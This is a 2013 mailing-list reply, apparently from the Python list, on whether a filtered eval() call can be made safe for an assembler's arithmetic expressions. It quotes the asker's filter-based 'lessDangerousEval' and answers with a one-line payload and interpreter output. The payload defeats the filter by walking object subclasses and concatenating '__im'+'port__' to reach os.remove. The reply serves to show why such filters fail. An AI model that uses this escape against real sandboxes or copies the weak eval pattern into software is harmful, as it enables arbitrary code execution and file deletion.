Yet another attempt at a safe eval() call

Chris Rebert clp2 at rebertia.com
Fri Jan 4 08:50:31 CET 2013


On Thu, Jan 3, 2013 at 3:25 PM, Grant Edwards <invalid at invalid.invalid> wrote:
>
> I've written a small assembler in Python 2.[67], and it needs to
> evaluate integer-valued arithmetic expressions in the context of a
> symbol table that defines integer values for a set of names.  The
> "right" thing is probably an expression parser/evaluator using ast,
> but it looked like that would take more code that the rest of the
> assembler combined, and I've got other higher-priority tasks to get
> back to.
>
> How badly am I deluding myself with the code below?

Given http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
and similar, I suspect the answer is "a fair bit".

> def lessDangerousEval(expr):
>     global symbolTable
>     if 'import' in expr:
>         raise ParseError("operand expressions are not allowed to contain the string 'import'")
>     globals = {'__builtins__': None}
>     locals  = symbolTable
>     return eval(expr, globals, locals)
>
> I can guarantee that symbolTable is a dict that maps a set of string
> symbol names to integer values.

Using the aformentioned article as a basis, I was able to get this
doozy working, albeit under Python 3:

$ python3
Python 3.3.0 (default, Nov  4 2012, 17:47:16)
[GCC 4.2.1 Compatible Apple Clang 4.0 ((tags/Apple/clang-421.0.57))] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> expr = "[klass for klass in ().__class__.__bases__[0].__subclasses__() if klass.__name__ == 'Codec'][0].encode.__globals__['__builtins__']['__im'+'port__']('os').remove"
>>> eval(expr, {'__builtins__': None}, {})
<built-in function remove>
>>>

Since the original attack was itself devised against Python 2.x, it's
highly likely that similar convoluted attacks against 2.x remain
possible, unless perhaps you were use a modified interpreter.

Cheers,
Chris



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